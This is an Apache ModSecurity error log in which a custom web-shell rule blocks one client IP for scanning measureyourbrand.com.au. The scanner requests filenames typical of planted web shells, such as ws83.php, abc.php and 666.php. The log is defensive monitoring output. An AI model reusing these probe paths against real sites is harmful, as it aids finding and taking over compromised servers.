[Sat Apr 11 09:42:44.851799 2026] [:error] [pid 34823:tid 34864] [client 72.146.3.145:24021] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws83.php"] [unique_id "admnFAsYI0mgChM8Fe26GwAAAUo"]
[Sat Apr 11 09:42:45.373373 2026] [:error] [pid 34823:tid 34869] [client 72.146.3.145:42239] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws83.php"] [unique_id "admnFQsYI0mgChM8Fe26JAAAAU8"]
[Sat Apr 11 09:42:45.971371 2026] [:error] [pid 34824:tid 34904] [client 72.146.3.145:42227] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws75.php"] [unique_id "admnFV_rq5TGFWAbVHXeJQAAAZc"]
[Sat Apr 11 09:42:46.557096 2026] [:error] [pid 34823:tid 34871] [client 72.146.3.145:33029] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws75.php"] [unique_id "admnFgsYI0mgChM8Fe26NQAAAVE"]
[Sat Apr 11 09:42:47.140716 2026] [:error] [pid 34823:tid 34856] [client 72.146.3.145:32675] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws75.php"] [unique_id "admnFwsYI0mgChM8Fe26OgAAAUI"]
[Sat Apr 11 09:42:47.802071 2026] [:error] [pid 34822:tid 34843] [client 72.146.3.145:44710] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws75.php"] [unique_id "admnF9oScBMkNZUKMZ3ZzgAAARA"]
[Sat Apr 11 09:42:48.404299 2026] [:error] [pid 34911:tid 34934] [client 72.146.3.145:32675] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "admnGA4Dca235WG8VGLIGgAAABU"]
[Sat Apr 11 09:42:49.062261 2026] [:error] [pid 34911:tid 34924] [client 72.146.3.145:32695] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "admnGQ4Dca235WG8VGLIIgAAAAs"]
[Sat Apr 11 09:42:49.662963 2026] [:error] [pid 34822:tid 34832] [client 72.146.3.145:21573] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "admnGdoScBMkNZUKMZ3Z2QAAAQU"]
[Sat Apr 11 09:42:50.137578 2026] [:error] [pid 34911:tid 34933] [client 72.146.3.145:44689] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "admnGg4Dca235WG8VGLIKQAAABQ"]
[Sat Apr 11 09:42:50.766059 2026] [:error] [pid 34824:tid 34881] [client 72.146.3.145:49211] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "admnGl_rq5TGFWAbVHXeSwAAAYA"]
[Sat Apr 11 09:42:51.347945 2026] [:error] [pid 34823:tid 34856] [client 72.146.3.145:33025] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "admnGwsYI0mgChM8Fe26RAAAAUI"]
[Sat Apr 11 09:42:52.024732 2026] [:error] [pid 34911:tid 34935] [client 72.146.3.145:32592] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "admnHA4Dca235WG8VGLIMgAAABY"]
[Sat Apr 11 09:42:52.575680 2026] [:error] [pid 34822:tid 34851] [client 72.146.3.145:33067] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "admnHNoScBMkNZUKMZ3Z5QAAARg"]
[Sat Apr 11 09:42:53.092857 2026] [:error] [pid 34911:tid 34914] [client 72.146.3.145:30425] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "admnHQ4Dca235WG8VGLIOgAAAAE"]
[Sat Apr 11 09:42:53.584272 2026] [:error] [pid 34824:tid 34902] [client 72.146.3.145:30459] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "admnHV_rq5TGFWAbVHXeXwAAAZU"]
[Sat Apr 11 09:42:54.898001 2026] [:error] [pid 34822:tid 34837] [client 72.146.3.145:49195] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "admnHtoScBMkNZUKMZ3Z8QAAAQo"]
[Sat Apr 11 09:43:10.307841 2026] [:error] [pid 35243:tid 35279] [client 72.146.3.145:21607] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "admnLpiApHV8NaJgz2enkAAAAYY"]
[Sat Apr 11 09:43:10.812704 2026] [:error] [pid 35244:tid 35315] [client 72.146.3.145:30440] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "admnLno-i7gcJniX7_OynAAAAA8"]
[Sat Apr 11 09:43:11.280734 2026] [:error] [pid 35332:tid 35340] [client 72.146.3.145:49325] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "admnL0VTtzp2nq1ytdVb4gAAAEY"]
[Sat Apr 11 09:43:11.765815 2026] [:error] [pid 35242:tid 35268] [client 72.146.3.145:25773] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "admnLyo7GrX6-FcjvPwsCAAAAVY"]
[Sat Apr 11 09:43:12.315328 2026] [:error] [pid 35242:tid 35247] [client 72.146.3.145:53314] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "admnMCo7GrX6-FcjvPwsEAAAAUE"]
[Sat Apr 11 09:43:12.903042 2026] [:error] [pid 35332:tid 35350] [client 72.146.3.145:30591] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "admnMEVTtzp2nq1ytdVb6gAAAFA"]
[Sat Apr 11 09:43:13.423134 2026] [:error] [pid 35332:tid 35354] [client 72.146.3.145:45113] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "admnMUVTtzp2nq1ytdVb7QAAAFQ"]
[Sat Apr 11 09:43:14.022013 2026] [:error] [pid 35332:tid 35358] [client 72.146.3.145:53330] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-good.php"] [unique_id "admnMkVTtzp2nq1ytdVb8QAAAFg"]
[Sat Apr 11 09:43:14.563834 2026] [:error] [pid 35243:tid 35279] [client 72.146.3.145:4596] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "admnMpiApHV8NaJgz2ennQAAAYY"]
[Sat Apr 11 09:43:15.069385 2026] [:error] [pid 35244:tid 35310] [client 72.146.3.145:21571] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "admnM3o-i7gcJniX7_OypwAAAAo"]
[Sat Apr 11 09:43:18.374405 2026] [:error] [pid 35536:tid 35543] [client 72.146.3.145:42229] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "admnNgW1nMztWbgW3ZHCZgAAAUM"]
[Sat Apr 11 09:43:18.875580 2026] [:error] [pid 35536:tid 35547] [client 72.146.3.145:17702] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "admnNgW1nMztWbgW3ZHCegAAAUc"]
[Sat Apr 11 09:43:19.380474 2026] [:error] [pid 35599:tid 35603] [client 72.146.3.145:53364] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amp.php"] [unique_id "admnN-d0ai377FLwoeDkPwAAAIE"]
[Sat Apr 11 09:43:19.959338 2026] [:error] [pid 35537:tid 35586] [client 72.146.3.145:22490] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amp.php"] [unique_id "admnNx3G2uLZwbQNu20zUwAAAZM"]
[Sat Apr 11 09:43:20.429912 2026] [:error] [pid 35633:tid 35636] [client 72.146.3.145:13290] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amp.php"] [unique_id "admnOGUQo_ah7EEEnqe9kQAAAME"]
[Sat Apr 11 09:43:20.923516 2026] [:error] [pid 35633:tid 35642] [client 72.146.3.145:33068] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amp.php"] [unique_id "admnOGUQo_ah7EEEnqe9lwAAAMc"]
[Sat Apr 11 09:43:21.519270 2026] [:error] [pid 35536:tid 35544] [client 72.146.3.145:13257] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abrand.php"] [unique_id "admnOQW1nMztWbgW3ZHCjgAAAUQ"]
[Sat Apr 11 09:43:22.067958 2026] [:error] [pid 35536:tid 35555] [client 72.146.3.145:4592] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abrand.php"] [unique_id "admnOgW1nMztWbgW3ZHCkQAAAU8"]
[Sat Apr 11 09:43:22.742873 2026] [:error] [pid 35537:tid 35582] [client 72.146.3.145:48055] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abrand.php"] [unique_id "admnOh3G2uLZwbQNu20zXgAAAY8"]
[Sat Apr 11 09:43:23.354975 2026] [:error] [pid 35599:tid 35612] [client 72.146.3.145:42177] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/abrand.php"] [unique_id "admnO-d0ai377FLwoeDkRQAAAIo"]
[Sat Apr 11 09:43:24.222956 2026] [:error] [pid 35536:tid 35551] [client 72.146.3.145:19146] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "admnPAW1nMztWbgW3ZHCnwAAAUs"]
[Sat Apr 11 09:43:24.894385 2026] [:error] [pid 35537:tid 35590] [client 72.146.3.145:49326] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "admnPB3G2uLZwbQNu20zZwAAAZc"]
[Sat Apr 11 09:43:25.494760 2026] [:error] [pid 35536:tid 35555] [client 72.146.3.145:49337] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "admnPQW1nMztWbgW3ZHCqgAAAU8"]
[Sat Apr 11 09:43:26.154815 2026] [:error] [pid 35599:tid 35626] [client 72.146.3.145:19145] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "admnPud0ai377FLwoeDkYgAAAJg"]
[Sat Apr 11 09:43:26.800987 2026] [:error] [pid 35599:tid 35624] [client 72.146.3.145:15222] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "admnPud0ai377FLwoeDkagAAAJY"]
[Sat Apr 11 09:43:27.315397 2026] [:error] [pid 35537:tid 35585] [client 72.146.3.145:53349] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "admnPx3G2uLZwbQNu20zaQAAAZI"]
[Sat Apr 11 09:43:27.790929 2026] [:error] [pid 35599:tid 35607] [client 72.146.3.145:40071] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "admnP-d0ai377FLwoeDkcQAAAIU"]
[Sat Apr 11 09:43:28.527474 2026] [:error] [pid 35599:tid 35620] [client 72.146.3.145:17727] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gettest.php"] [unique_id "admnQOd0ai377FLwoeDkeQAAAJI"]
[Sat Apr 11 09:43:29.172442 2026] [:error] [pid 35633:tid 35659] [client 72.146.3.145:7283] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/myfile.php"] [unique_id "admnQWUQo_ah7EEEnqe9ogAAANg"]
[Sat Apr 11 09:43:29.966194 2026] [:error] [pid 35633:tid 35642] [client 72.146.3.145:4688] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/myfile.php"] [unique_id "admnQWUQo_ah7EEEnqe9pgAAAMc"]
[Sat Apr 11 09:43:30.567679 2026] [:error] [pid 35599:tid 35621] [client 72.146.3.145:21149] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/myfile.php"] [unique_id "admnQud0ai377FLwoeDkiAAAAJM"]
[Sat Apr 11 09:43:31.289061 2026] [:error] [pid 35633:tid 35639] [client 72.146.3.145:19155] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/myfile.php"] [unique_id "admnQ2UQo_ah7EEEnqe9uQAAAMQ"]
[Sat Apr 11 09:43:31.936600 2026] [:error] [pid 35633:tid 35659] [client 72.146.3.145:15175] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "admnQ2UQo_ah7EEEnqe9wgAAANg"]
[Sat Apr 11 09:43:32.420785 2026] [:error] [pid 35633:tid 35647] [client 72.146.3.145:34193] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "admnRGUQo_ah7EEEnqe9ywAAAMw"]
[Sat Apr 11 09:43:32.976649 2026] [:error] [pid 35599:tid 35622] [client 72.146.3.145:21121] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "admnROd0ai377FLwoeDkjgAAAJQ"]
[Sat Apr 11 09:43:33.618190 2026] [:error] [pid 35536:tid 35545] [client 72.146.3.145:4690] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "admnRQW1nMztWbgW3ZHCwwAAAUU"]
[Sat Apr 11 09:43:34.173729 2026] [:error] [pid 35537:tid 35590] [client 72.146.3.145:41115] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "admnRh3G2uLZwbQNu20zbwAAAZc"]
[Sat Apr 11 09:43:34.856492 2026] [:error] [pid 35537:tid 35580] [client 72.146.3.145:7269] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "admnRh3G2uLZwbQNu20zeQAAAY0"]
[Sat Apr 11 09:43:35.361528 2026] [:error] [pid 35599:tid 35610] [client 72.146.3.145:21158] [client 72.146.3.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/666.php"] [unique_id "admnR-d0ai377FLwoeDklgAAAIg"]
